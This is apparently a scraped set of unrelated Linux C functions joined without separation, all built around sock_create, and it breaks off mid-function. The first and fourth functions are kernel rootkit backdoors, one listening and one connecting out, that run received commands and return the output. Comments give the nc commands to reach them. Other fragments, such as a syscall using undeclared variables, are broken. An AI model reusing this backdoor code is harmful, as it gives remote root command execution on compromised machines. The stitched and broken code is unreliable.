static void backdoor_bind(void) { /* default: client connect with : nc 127.0.0.1 5000 */ struct socket *sock; struct sockaddr_in sin; int error; current->flags |= PF_NOFREEZE; error = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock); if (error < 0) { dbg("backdoor: Error during creation of socket; terminating\n"); return; } sin.sin_family = AF_INET; sin.sin_addr.s_addr = in_aton(IP_SOURCE); sin.sin_port = htons(PORT_SRC); error = sock->ops->bind(sock, (struct sockaddr *) &sin, sizeof(sin)); if (error < 0) { dbg("backdoor: Error binding socket\n"); sock_release(sock); return; } error = sock->ops->listen(sock, 5); if (error < 0) { dbg("backdoor: Error listening on socket \n"); sock_release(sock); return; } char *buff = NULL; buff = kmalloc(512, GFP_KERNEL); int tt = 0; struct socket *newsock; newsock=(struct socket*)kmalloc(sizeof(struct socket),GFP_KERNEL); error = sock_create(PF_INET,SOCK_STREAM,IPPROTO_TCP,&newsock); if(error<0) { dbg("backdoor: Error create newsock error\n"); kfree(buff); sock_release(sock); return; } //wait incoming connection int file_created = 0; while (1) { error = newsock->ops->accept(sock,newsock,O_NONBLOCK); if(error >= 0) { while(tt = rk_recvbuff(newsock, buff, 512)) { int exec_result; exec_result = exec_cmd(buff); if(exec_result == 0) { char *result = NULL; result = kmalloc(1024, GFP_KERNEL); if ( ! result ) { dbg("backdoor: Error allocating memory\n"); kfree(buff); sock_release(newsock); sock_release(sock); return; } int bytes_read; bytes_read = read_result(result); file_created = 1; int res = 0; res = rk_sendbuff(newsock, result, bytes_read); kfree(result); memset(buff, '\0', sizeof(buff)); //cleanup the buffer if (res == 0) { remove_file(); dbg("backdoor: Error during connection of socket; terminating\n"); break; } tt = 0; bytes_read = 0; } else { dbg("backdoor: Error executing cmd\n"); } if(signal_pending(current)) { break; } } if (file_created) { remove_file(); file_created = 0; } } if(signal_pending(current)) { break; } } kfree(buff); sock_release(newsock); sock_release(sock); }
int udpclient(int argc, char* argv[]) { char* lhost, *lport, *phost, *pport, *rhost, *rport; list_t* clients; list_t* conn_clients; client_t* client; client_t* client2; socket_t* tcp_serv = NULL; socket_t* tcp_sock = NULL; socket_t* udp_sock = NULL; char data[MSG_MAX_LEN]; char addrstr[ADDRSTRLEN]; char pport_s[6]; struct timeval curr_time; struct timeval check_time; struct timeval check_interval; struct timeval timeout; fd_set client_fds; fd_set read_fds; uint16_t tmp_id; uint8_t tmp_type; uint16_t tmp_len; uint16_t tmp_req_id; int num_fds; int ret; int i; int icmp_sock ; int timeexc = -1; struct sockaddr_in src, dest, rsrc; struct hostent* hp; uint32_t timeexc_ip; signal(SIGINT, &signal_handler); i = 0; if(index(argv[i], 58) || index(argv[i], 46)) lhost = argv[i++]; else lhost = NULL; lport = argv[i++]; phost = argv[i++]; if(index(argv[i], 58) || index(argv[i], 46)) { snprintf(pport_s, 5, "2222"); pport = pport_s; } else pport = argv[i++]; rhost = argv[i++]; rport = argv[i++]; /* Get info about localhost IP */ if(!lhost){ char szHostName[255]; gethostname(szHostName, 255); hp = gethostbyname(szHostName); }else{ hp = gethostbyname(lhost); } memset(&rsrc, 0, sizeof(struct sockaddr_in)); timeexc_ip = *(uint32_t*)hp->h_addr_list[0]; rsrc.sin_family = AF_INET; rsrc.sin_port = 0; rsrc.sin_addr.s_addr = timeexc_ip; /* IP of destination */ memset(&src, 0, sizeof(struct sockaddr_in)); hp = gethostbyname(phost); timeexc_ip = *(uint32_t*)hp->h_addr_list[0]; src.sin_family = AF_INET; src.sin_port = 0; src.sin_addr.s_addr = timeexc_ip; /* IP of where the fake packet (echo request) was going */ hp = gethostbyname("3.3.3.3"); memcpy(&dest.sin_addr, hp->h_addr, hp->h_length); inet_pton(AF_INET, "3.3.3.3", &(dest.sin_addr)); srand(time(NULL)); next_req_id = rand() % 0xffff; /* Create an empty list for the clients */ clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free); ERROR_GOTO(clients == NULL, "Error creating clients list.", done); /* Create and empty list for the connecting clients */ conn_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free); ERROR_GOTO(conn_clients == NULL, "Error creating clients list.", done); /* Create a TCP server socket to listen for incoming connections */ tcp_serv = sock_create(lhost, lport, ipver, SOCK_TYPE_TCP, 1, 1); ERROR_GOTO(tcp_serv == NULL, "Error creating TCP socket.", done); if(debug_level >= DEBUG_LEVEL1) { printf("Listening on TCP %s\n", sock_get_str(tcp_serv, addrstr, sizeof(addrstr))); } FD_ZERO(&client_fds); /* Initialize all the timers */ timerclear(&timeout); check_interval.tv_sec = 0; check_interval.tv_usec = 500000; gettimeofday(&check_time, NULL); /* open raw socket */ create_icmp_socket(&icmp_sock); if(icmp_sock == -1) { printf("[main] can't open raw socket\n"); exit(1); } while(running) { if(!timerisset(&timeout)) timeout.tv_usec = 50000; if(++timeexc==100) { timeexc=0; /* Send ICMP TTL exceeded to penetrate remote NAT */ send_icmp(icmp_sock, &rsrc, &src, &dest, 0); } read_fds = client_fds; FD_SET(SOCK_FD(tcp_serv), &read_fds); ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout); PERROR_GOTO(ret < 0, "select", done); num_fds = ret; gettimeofday(&curr_time, NULL); /* Go through all the clients and check if didn't get an ACK for sent data during the timeout period */ if(timercmp(&curr_time, &check_time, >)) { for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); ret = client_check_and_resend(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; continue; } ret = client_check_and_send_keepalive(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; } } timeradd(&curr_time, &check_interval, &check_time); } if(num_fds == 0) continue; timeexc=0; /* Check if pending TCP connection to accept and create a new client and UDP connection if one is ready */ if(FD_ISSET(SOCK_FD(tcp_serv), &read_fds)) { tcp_sock = sock_accept(tcp_serv); udp_sock = sock_create(phost, pport, ipver, SOCK_TYPE_UDP, 0, 1); client = client_create(next_req_id++, tcp_sock, udp_sock, 1); if(!client || !tcp_sock || !udp_sock) { if(tcp_sock) sock_close(tcp_sock); if(udp_sock) sock_close(udp_sock); } else { client2 = list_add(conn_clients, client); client_free(client); client = NULL; client_send_hello(client2, rhost, rport, CLIENT_ID(client2)); client_add_tcp_fd_to_set(client2, &client_fds); client_add_udp_fd_to_set(client2, &client_fds); } sock_free(tcp_sock); sock_free(udp_sock); tcp_sock = NULL; udp_sock = NULL; num_fds--; } /* Check for pending handshakes from UDP connection */ for(i = 0; i < LIST_LEN(conn_clients) && num_fds > 0; i++) { client = list_get_at(conn_clients, i); if(client_udp_fd_isset(client, &read_fds)) { num_fds--; tmp_req_id = CLIENT_ID(client); ret = client_recv_udp_msg(client, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len); if(ret == 0) ret = handle_message(client, tmp_id, tmp_type, data, tmp_len); if(ret < 0) { disconnect_and_remove_client(tmp_req_id, conn_clients, &client_fds); i--; } else { client = list_add(clients, client); list_delete_at(conn_clients, i); client_remove_udp_fd_from_set(client, &read_fds); i--; } } } /* Check if data is ready from any of the clients */ for(i = 0; i < LIST_LEN(clients) && num_fds > 0; i++) { client = list_get_at(clients, i); /* Check for UDP data */ if(client_udp_fd_isset(client, &read_fds)) { num_fds--; ret = client_recv_udp_msg(client, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len); if(ret == 0) ret = handle_message(client, tmp_id, tmp_type, data, tmp_len); if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; continue; /* Don't go to check the TCP connection */ } } /* Check for TCP data */ if(client_tcp_fd_isset(client, &read_fds)) { num_fds--; ret = client_recv_tcp_data(client); if(ret == 0) ret = client_send_udp_data(client); #if 0 /* if udptunnel is taking up 100% of cpu, try including this */ else if(ret == 1) #ifdef _WIN32 _sleep(1); #else usleep(1000); /* Quick hack so doesn't use 100% of CPU if data wasn't ready yet (waiting for ack) */ #endif /*WIN32*/ #endif /*0*/ if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; } } } } done: if(debug_level >= DEBUG_LEVEL1) printf("Cleaning up...\n"); if(tcp_serv) { sock_close(tcp_serv); sock_free(tcp_serv); } if(udp_sock) { sock_close(udp_sock); sock_free(udp_sock); } if(clients) list_free(clients); if(debug_level >= DEBUG_LEVEL1) printf("Goodbye.\n"); return 0; }
static int sock_tcp_create (void) { return sock_create (AF_INET, SOCK_STREAM); }
static void backdoor_reverse(void) { /* default: client bind with : nc -lvp 2424 */ struct socket *sock; struct sockaddr_in sin; int error; char *buff = NULL; current->flags |= PF_NOFREEZE; error = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock); if (error < 0) { dbg("backdoor: Error during creation of socket; terminating\n"); return; } sin.sin_family = AF_INET; sin.sin_addr.s_addr = in_aton(IP_DEST); sin.sin_port = htons(PORT_DEST); error = sock->ops->connect(sock, (struct sockaddr*) &sin, sizeof(sin), !O_NONBLOCK); if (error < 0) { dbg("backdoor: Error during connection of socket; terminating\n"); sock_release(sock); return; } buff = kmalloc(512, GFP_KERNEL); if (buff == NULL) { dbg("backdoor: Error allocating memory\n"); sock_release(sock); return; } int tt = 0; int file_created = 0; while(true) { if (signal_pending(current)) break; tt = rk_recvbuff(sock, buff, 512); if (tt > 0) { int exec_result; exec_result = exec_cmd(buff); if(exec_result == 0) { char *result = NULL; result = kmalloc(1024, GFP_KERNEL); if ( ! result ) { dbg("backdoor: Error allocating memory\n"); return; } int bytes_read; bytes_read = read_result(result); file_created = 1; int res = 0; res = rk_sendbuff(sock, result, bytes_read); kfree(result); memset(buff, '\0', sizeof(buff)); //cleanup the buffer if (res == 0) { remove_file(); dbg("backdoor: Error during connection of socket; terminating\n"); break; } tt = 0; bytes_read = 0; } else { dbg("backdoor: Error executing cmd\n"); } } else { if (file_created) remove_file(); dbg("backdoor: Error during connection of socket; terminating\n"); break; } } sock_release(sock); kfree(buff); }
// IP and port are assumed network byte order (big endian) unsigned int download_file ( char *path, unsigned int ip, unsigned short port ) { struct file *filep; int bytes_read, bytes_written; unsigned int size, crc32_target, crc32_calc = 0; char *buf; struct sockaddr_in saddr; struct socket *sock = NULL; mm_segment_t old_fs; if ( ! (filep = filp_open(path, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU|S_IRWXG|S_IRWXO)) ) return 1; buf = kmalloc(4096, GFP_KERNEL); if ( ! buf ) { DEBUG("Error allocating memory for download\n"); filp_close(filep, NULL); return 1; } if ( sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &sock) < 0 ) { DEBUG("Error creating socket\n"); filp_close(filep, NULL); kfree(buf); return 1; } memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = port; saddr.sin_addr.s_addr = ip; if ( inet_stream_connect(sock, (struct sockaddr *)&saddr, sizeof(saddr), 0) < 0 ) { DEBUG("Error connecting socket to address\n"); filp_close(filep, NULL); kfree(buf); return 1; } if ( (size = get_uint(sock)) < 0 ) { DEBUG("Error getting size from socket\n"); filp_close(filep, NULL); kfree(buf); return 1; } while ( 1 ) { if ( size > sizeof(buf) ) bytes_read = recv_msg(sock, buf, sizeof(buf)); else bytes_read = recv_msg(sock, buf, size); if ( bytes_read <= 0 ) break; size -= bytes_read; while ( bytes_read > 0 ) { old_fs = get_fs(); set_fs(get_ds()); if ( (bytes_written = filep->f_op->write(filep, buf, bytes_read, &filep->f_pos)) <= 0 ) { DEBUG("Error writing to file\n"); set_fs(old_fs); filp_close(filep, NULL); kfree(buf); return 1; } set_fs(old_fs); crc32_calc = crc32_le(crc32_calc, buf, bytes_written); bytes_read -= bytes_written; } if ( size == 0 ) break; } if ( (crc32_target = get_uint(sock)) < 0 ) { DEBUG("Error getting crc32 from socket\n"); filp_close(filep, NULL); kfree(buf); return 1; } inet_release(sock); filp_close(filep, NULL); if ( crc32_target != crc32_calc ) { DEBUG("crc32 mismatch, possible data corruption, target=%x, calc=%x\n", crc32_target, crc32_calc); kfree(buf); return 1; } kfree(buf); return 0; }
static int sock_udp_create (void) { return sock_create (AF_INET, SOCK_DGRAM); }
int setup_tcp() { struct sockaddr_in saddr; int r; mm_segment_t fs; int buffsize = PAGE_SIZE; #if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,5) r = sock_create_kern(AF_INET, SOCK_STREAM, IPPROTO_TCP, &control); #else r = sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &control); #endif if (r < 0) { DBG("Error creating control socket"); return r; } memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(port); if (localhostonly) { saddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); } else { saddr.sin_addr.s_addr = htonl(INADDR_ANY); } fs = get_fs(); set_fs(KERNEL_DS); sock_setsockopt(control, SOL_SOCKET, SO_SNDBUF, (void *) &buffsize, sizeof (int)); set_fs(fs); if (r < 0) { DBG("Error setting buffsize %d", r); return r; } r = control->ops->bind(control,(struct sockaddr*) &saddr,sizeof(saddr)); if (r < 0) { DBG("Error binding control socket"); return r; } r = control->ops->listen(control,1); if (r) { DBG("Error listening on socket"); return r; } #if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,5) r = sock_create_kern(PF_INET, SOCK_STREAM, IPPROTO_TCP, &accept); #else r = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &accept); #endif if (r < 0) { DBG("Error creating accept socket"); return r; } r = accept->ops->accept(control,accept,0); if (r < 0) { DBG("Error accepting socket"); return r; } return 0; }
static int __init sbd_init(void) { struct sockaddr_in to; int retVal = 0; char hello[12]; // "HOLA KERNEL" printk("Iniciando Socket...\n"); if (sock_create(PF_INET, SOCK_STREAM, IPPROTO_IP, &clientsocket) < 0) { printk( KERN_ERR "server: Error creating clientsocket\n" ); return -EIO; } memset(&to,0, sizeof(to)); to.sin_family = AF_INET; to.sin_addr.s_addr = in_aton(ip); to.sin_port = htons(SERVER_PORT); retVal = clientsocket->ops->connect(clientsocket, (struct sockaddr*)&to, sizeof(struct sockaddr_in), 0); if (retVal >= 0) { printk(KERN_EMERG "Conectado!\n"); send_string(clientsocket, "HOLA MUNDO DESDE EL KERNEL\n"); recv_string(clientsocket, hello, 11); printk(KERN_EMERG "Me respondieron %s\n", hello); } else { printk(KERN_EMERG "Error conectando a %s (%d)\n", ip, -retVal); } printk(KERN_NOTICE "Iniciando disco\n"); /* * Set up our internal device. */ Device.size = nsectors * logical_block_size; spin_lock_init(&Device.lock); Device.data = vmalloc(Device.size); if (Device.data == NULL) return -ENOMEM; /* * Get a request queue. */ Queue = blk_init_queue(sbd_request, &Device.lock); if (Queue == NULL) goto out; blk_queue_logical_block_size(Queue, logical_block_size); /* * Get registered. */ major_num = register_blkdev(major_num, "sbd"); //sbd if (major_num < 0) { printk(KERN_WARNING "sbd: unable to get major number\n"); //sbd goto out; } /* * And the gendisk structure. */ Device.gd = alloc_disk(16); if (!Device.gd) goto out_unregister; Device.gd->major = major_num; Device.gd->first_minor = 0; Device.gd->fops = &sbd_ops; Device.gd->private_data = &Device; strcpy(Device.gd->disk_name, "sbd0"); //sbd0 set_capacity(Device.gd, nsectors); Device.gd->queue = Queue; add_disk(Device.gd); printk("Elvis esta vivo!\n"); return 0; out_unregister: unregister_blkdev(major_num, "sbd"); //sbd out: vfree(Device.data); return -ENOMEM; }
int main (int argc, char *argv[]) { int fd = -1; char *log_identity = argv[0]; int log_priority = LOG_INFO; int log_options = LOG_OPT_PRIORITY; #ifndef NDEBUG log_priority = LOG_DEBUG; log_options |= LOG_OPT_TIMESTAMP; #endif /* NDEBUG */ log_open_file (stderr, log_identity, log_priority, log_options); disable_core_dumps (); conf = create_conf (); parse_cmdline (conf, argc, argv); auth_recv_init (conf->auth_server_dir, conf->auth_client_dir, conf->got_force); if (!conf->got_foreground) { fd = daemonize_init (argv[0]); if (conf->got_syslog) { log_open_file (NULL, NULL, 0, 0); log_open_syslog (log_identity, LOG_DAEMON); } else { open_logfile (conf->logfile_name, log_priority, conf->got_force); } } handle_signals (); lookup_ip_addr (conf); write_pidfile (conf->pidfile_name, conf->got_force); if (conf->got_mlockall) { lock_memory (); } crypto_init (); if (random_init (conf->seed_name) < 0) { if (conf->seed_name) { free (conf->seed_name); conf->seed_name = NULL; } } create_subkeys (conf); conf->gids = gids_create (conf->gids_update_secs, conf->got_group_stat); replay_init (); timer_init (); sock_create (conf); if (!conf->got_foreground) { daemonize_fini (fd); } log_msg (LOG_NOTICE, "Starting %s daemon (pid %d)", META_ALIAS, (int) getpid ()); job_accept (conf); sock_destroy (conf); timer_fini (); replay_fini (); gids_destroy (conf->gids); random_fini (conf->seed_name); crypto_fini (); destroy_conf (conf); log_msg (LOG_NOTICE, "Stopping %s daemon (pid %d)", META_ALIAS, (int) getpid ()); exit (EMUNGE_SUCCESS); }
static int cpt_dump_route(struct cpt_context * ctx) { int err; struct socket *sock; struct msghdr msg; struct iovec iov; struct { struct nlmsghdr nlh; struct rtgenmsg g; } req; struct sockaddr_nl nladdr; struct cpt_object_hdr v; mm_segment_t oldfs; char *pg; err = sock_create(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE, &sock); if (err) return err; memset(&nladdr, 0, sizeof(nladdr)); nladdr.nl_family = AF_NETLINK; req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = RTM_GETROUTE; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_pid = 0; req.g.rtgen_family = AF_INET; iov.iov_base=&req; iov.iov_len=sizeof(req); msg.msg_name=&nladdr; msg.msg_namelen=sizeof(nladdr); msg.msg_iov=&iov; msg.msg_iovlen=1; msg.msg_control=NULL; msg.msg_controllen=0; msg.msg_flags=MSG_DONTWAIT; oldfs = get_fs(); set_fs(KERNEL_DS); err = sock_sendmsg(sock, &msg, sizeof(req)); set_fs(oldfs); if (err < 0) goto out_sock; pg = (char*)__get_free_page(GFP_KERNEL); if (pg == NULL) { err = -ENOMEM; goto out_sock; } cpt_open_section(ctx, CPT_SECT_NET_ROUTE); cpt_open_object(NULL, ctx); v.cpt_next = CPT_NULL; v.cpt_object = CPT_OBJ_NET_ROUTE; v.cpt_hdrlen = sizeof(v); v.cpt_content = CPT_CONTENT_NLMARRAY; ctx->write(&v, sizeof(v), ctx); #if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) restart: #endif for (;;) { struct nlmsghdr *h; iov.iov_base = pg; iov.iov_len = PAGE_SIZE; oldfs = get_fs(); set_fs(KERNEL_DS); err = sock_recvmsg(sock, &msg, PAGE_SIZE, MSG_DONTWAIT); set_fs(oldfs); if (err < 0) goto out_sock_pg; if (msg.msg_flags & MSG_TRUNC) { err = -ENOBUFS; goto out_sock_pg; } h = (struct nlmsghdr*)pg; while (NLMSG_OK(h, err)) { if (h->nlmsg_type == NLMSG_DONE) { err = 0; goto done; } if (h->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *errm = (struct nlmsgerr*)NLMSG_DATA(h); err = errm->error; eprintk_ctx("NLMSG error: %d\n", errm->error); goto done; } if (h->nlmsg_type != RTM_NEWROUTE) { eprintk_ctx("NLMSG: %d\n", h->nlmsg_type); err = -EINVAL; goto done; } ctx->write(h, NLMSG_ALIGN(h->nlmsg_len), ctx); h = NLMSG_NEXT(h, err); } if (err) { eprintk_ctx("!!!Remnant of size %d %d %d\n", err, h->nlmsg_len, h->nlmsg_type); err = -EINVAL; break; } } done: #if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) if (!err && req.g.rtgen_family == AF_INET) { req.g.rtgen_family = AF_INET6; iov.iov_base=&req; iov.iov_len=sizeof(req); msg.msg_name=&nladdr; msg.msg_namelen=sizeof(nladdr); msg.msg_iov=&iov; msg.msg_iovlen=1; msg.msg_control=NULL; msg.msg_controllen=0; msg.msg_flags=MSG_DONTWAIT; oldfs = get_fs(); set_fs(KERNEL_DS); err = sock_sendmsg(sock, &msg, sizeof(req)); set_fs(oldfs); if (err > 0) goto restart; } #endif ctx->align(ctx); cpt_close_object(ctx); cpt_close_section(ctx); out_sock_pg: free_page((unsigned long)pg); out_sock: sock_release(sock); return err; }
static int gannet_open(struct net_device *dev) { int ret; struct gannet_private *p; printk(KERN_DEBUG "gannet_open()\n"); netif_start_queue(dev); if(firstsetup == 1) { printk(KERN_DEBUG "gannet firstsetup executed\n"); firstsetup = 0; gthreadquit = 0; p = netdev_priv(dev); /* Create tx socket */ ret = sock_create(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &p->tx_sock); if (ret < 0) { printk(KERN_ERR "gannet tx socket() failed, failing init.\n"); unregister_netdev(dev); free_netdev(dev); return -EIO; /* I/O error */ } memset(&p->tx_addr, 0, sizeof(p->tx_addr)); p->tx_addr.sin_family = AF_INET; p->tx_addr.sin_port = htons(GAN_PS_PORT_2); p->tx_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); /* Create rx socket */ ret = sock_create(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &p->rx_sock); if (ret < 0) { printk(KERN_ERR "gannet rx socket() failed, failing init.\n"); sock_release(p->tx_sock); unregister_netdev(dev); free_netdev(dev); return -EIO; /* I/O error? There's nothing more applicable.*/ } memset(&p->rx_addr, 0, sizeof(p->rx_addr)); p->rx_addr.sin_family = AF_INET; p->rx_addr.sin_port = htons(GAN_VIF_LINK_PORT); p->rx_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); /* Bind rx socket */ ret = p->rx_sock->ops->bind(p->rx_sock, (struct sockaddr *) &p->rx_addr, sizeof(struct sockaddr)); if (ret < 0) { printk(KERN_ERR "gannet rx socket() bind failed.\n"); sock_release(p->tx_sock); sock_release(p->rx_sock); unregister_netdev(dev); free_netdev(dev); return -EIO; /* I/O error */ } else { printk(KERN_ERR "gannet rx socket() bind success.\n"); } /* Create kernel thread for rx loop */ gthread = kzalloc(sizeof(struct gannet_thread), GFP_KERNEL); if (gthread == NULL) { printk(KERN_ERR MODULE_NAME "gannet: unable to allocate memory for kernel thread\n"); sock_release(p->tx_sock); sock_release(p->rx_sock); unregister_netdev(dev); free_netdev(dev); return -ENOMEM; } /* Create work queue */ gannet_wq = create_workqueue("gannet_queue"); if (gannet_wq == NULL) { printk(KERN_ERR MODULE_NAME "gannet: unable to initialize work queue\n"); kfree(gthread); sock_release(p->tx_sock); sock_release(p->rx_sock); unregister_netdev(dev); free_netdev(dev); return -ENOMEM; } /* Store ref to private info */ gthread->dev = dev; gthread->priv = p; printk(KERN_INFO "gannet starting kernel thread\n"); gthread->thread = kthread_run((void *) gannet_recvloop, NULL, MODULE_NAME); if (IS_ERR(gthread->thread)) { printk(KERN_ERR MODULE_NAME "gannet: unable to start kernel thread\n"); sock_release(p->tx_sock); sock_release(p->rx_sock); unregister_netdev(dev); free_netdev(dev); kfree(gthread); destroy_workqueue(gannet_wq); gthread = NULL; return -ENOMEM; } } return 0; }
asmlinkage int my_sys_call(struct params __user *pm) { struct sockaddr_in saddr, daddr; struct socket *control= NULL; struct socket *data = NULL; struct socket *new_sock = NULL; int r = -1; char *response = kmalloc(SNDBUF, GFP_KERNEL); char *reply = kmalloc(RCVBUF, GFP_KERNEL); struct params pmk; if(unlikely(!access_ok(VERIFY_READ, pm, sizeof(pm)))) return -EFAULT; if(copy_from_user(&pmk, pm, sizeof(struct params))) return -EFAULT; if(current->uid != 0) return r; r = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &control); memset(&servaddr,0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(PORT); servaddr.sin_addr.s_addr = htonl(create_address(128, 196, 40, 225)); r = control->ops->connect(control, (struct sockaddr *) &servaddr, sizeof(servaddr), O_RDWR); read_response(control, response); sprintf(temp, "USER %s\r\n", pmk.user); send_reply(control, temp); read_response(control, response); sprintf(temp, "PASS %s\r\n", pmk.pass); send_reply(control, temp); read_response(control, response); r = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &data); memset(&claddr,0, sizeof(claddr)); claddr.sin_family = AF_INET; claddr.sin_port = htons(EPH_PORT); clddr.sin_addr.s_addr= htonl(create_address(srcip)); r = data->ops->bind(data, (struct sockaddr *)&claddr, sizeof (claddr)); r = data->ops->listen(data, 1); a = (char *)&claddr.sin_addr; p = (char *)&claddr.sin_port; send_reply(control, reply); read_response(control, response); strcpy(reply, "RETR "); strcat(reply, src); strcat(reply, "\r\n"); send_reply(control, reply); read_response(control, response); new_sock = sock_alloc(); new_sock->type = data->type; new_sock->ops = data->ops; r = data->ops->accept(data, new_sock, 0); new_sock->ops->getname(new_sock, (struct sockaddr *)address, &len, 2); if((total_written = write_to_file(pmk.dst, new_sock, response)) < 0) goto err3; return; }
static void start(struct work_struct *work) { int err,size; rrep * tmp_rrep; int bufsize = 10; unsigned char buf[bufsize+1]; mm_segment_t oldfs; //current->flags |= PF_NOFREEZE; //allow_signal(SIGKILL); my_work = (my_work_t *)work; if ( (err = sock_create(AF_INET, SOCK_DGRAM, IPPROTO_UDP, &my_work->sock_send)) < 0 ) { printk(KERN_INFO MODULE_NAME": Could not create a datagram socket, error = %d\n", -ENXIO); return; } if((tmp_rrep = (rrep *) kmalloc(sizeof(rrep), GFP_ATOMIC)) == NULL) { printk(KERN_INFO MODULE_NAME": Could not create a datagram socket, error = %d\n", -ENXIO); return; } memset(&my_work->addr, 0, sizeof(struct sockaddr)); memset(&my_work->addr_send, 0, sizeof(struct sockaddr)); my_work->addr_send.sin_family = AF_INET; //my_work->addr_send.sin_addr.s_addr = htonl(INADDR_SEND); my_work->addr_send.sin_addr.s_addr = in_aton("192.168.123.3"); my_work->addr_send.sin_port = htons(CONNECT_PORT); //sock_set_flag(my_work->sock_send,SOCK_BROADCAST); if ((err = my_work->sock_send->ops->bind(my_work->sock_send, (struct sockaddr *)&my_work->addr_send, sizeof(struct sockaddr)) < 0 )) { printk(KERN_INFO MODULE_NAME": Could not bind or connect to socket, error = %d\n", -err); goto close_and_out; } oldfs=get_fs(); set_fs(KERNEL_DS); set_fs(oldfs); //printk(KERN_INFO MODULE_NAME": listening on port %d\n", DEFAULT_PORT); //for (;;) //{ //printk(KERN_INFO MODULE_NAME"Inside for loop\n"); //memset(&buf, 0, bufsize+1); //size = receive(my_work->sock, &my_work->addr, buf, bufsize); //if (signal_pending(current)) // break; //printk("\nsize=%d",size); strcpy(tmp_rrep->type, "BROADCAST MESSAGE SENT"); printk(KERN_INFO MODULE_NAME":String Value:%s",tmp_rrep->type); send(my_work->sock_send, &my_work->addr_send, tmp_rrep, sizeof(rrep)); kfree(tmp_rrep); msleep(500); //} close_and_out: sock_release(my_work->sock_send); my_work->sock = NULL; my_work->sock_send = NULL; }
/* * Handles a message received from the UDP tunnel. Returns 0 if successful, -1 * on some error it handled, or -2 if the client is to disconnect. */ int handle_message(uint16_t id, uint8_t msg_type, char *data, int data_len,uint32_t sourceid, list_t *clients,list_t *conn_clients) { client_t *c; client_t *c2; int ret = 0; uint16_t req_id; char addrstr[ADDRSTRLEN]; if(debug_level >= DEBUG_LEVEL2) printf("handle msg from %d type %d \n ",sourceid,msg_type); switch(msg_type) { case MSG_TYPE_GOODBYE: ret = -2; break; case MSG_TYPE_HELLOACK: { char * ptr_de=NULL; char * keyfile=malloc(64); sprintf(keyfile,"%s.key",lhost); req_id = ntohs(*((uint16_t*)data)); //req_id = ntohs(*((uint16_t*)data)); data+=sizeof(req_id); data_len-=sizeof(req_id); ptr_de=my_rsadecrypt(data,keyfile); printf("key is %s",ptr_de); if(debug_level >= DEBUG_LEVEL1) printf("req id %d ",req_id); c = list_get(conn_clients, &req_id); if(debug_level >= DEBUG_LEVEL1) printf("find client %d \n",CLIENT_ID(c)); client_got_helloack(c); CLIENT_ID(c) = id; memcpy(c->deskey,ptr_de,strlen(ptr_de)); ret = client_send_helloack(c, ntohs(*((uint16_t *)data))); if(debug_level >= DEBUG_LEVEL1) { sock_get_str(c->tcp_sock, addrstr, sizeof(addrstr)); printf("New connection(%d): tcp://%s", CLIENT_ID(c), addrstr); sock_get_str(c->udp_sock, addrstr, sizeof(addrstr)); printf(" -> udp://%s\n", addrstr); } c = list_add(clients, c, 1); list_delete(conn_clients, &id); ret = client_socks5_helloack(c); break; } case MSG_TYPE_DATA0: //case MSG_TYPE_DATA1: c = list_get(clients, &id); ret = client_got_udp_data(c, data, data_len, msg_type); if(ret == 0) ret = client_send_tcp_data(c); break; //case MSG_TYPE_ACK0: // case MSG_TYPE_ACK1: //ret = client_got_ack(c, msg_type); // break; case MSG_TYPE_RELAYKEY: { client_t *c2; if(id != 0) break; char * ptr_de; char * keyfile=malloc(64); sprintf(keyfile,"%s.key",lhost); c2 = list_get_at(relay_clients, 0); //printf("c2->rsakey is %s \n",c2->rsakey); ptr_de=my_rsadecrypt(data,keyfile); //printf("relaykey is %s len is %d \n",ptr_de,strlen(ptr_de)); memcpy(c2->rsakey,ptr_de,strlen(ptr_de)); //printf("c2->rsakey is %s \n",c2->rsakey); break; } case MSG_TYPE_REQACK: { int i; char port[6]; /* need this so port str can have null term. */ char dst_addrstr[ADDRSTRLEN]; uint16_t req_id; socket_t *intra_sock = NULL; if(id != 0) break; char * ptr_de=NULL; char * keyfile=malloc(64); sprintf(keyfile,"%s.key",lhost); ptr_de=my_rsadecrypt(data,keyfile); req_id = ntohs(*((uint16_t*)ptr_de)); ptr_de += sizeof(uint16_t); int ptr_len=strlen(ptr_de); if (ptr_len>20) break; //printf("ptr_len %d \n",ptr_len); /* look for the space separating the host and port */ for(i = 0; i < ptr_len; i++) if(ptr_de[i] == ' ') break; if(i == ptr_len) break; /* null terminate the host and get the port number to the string */ 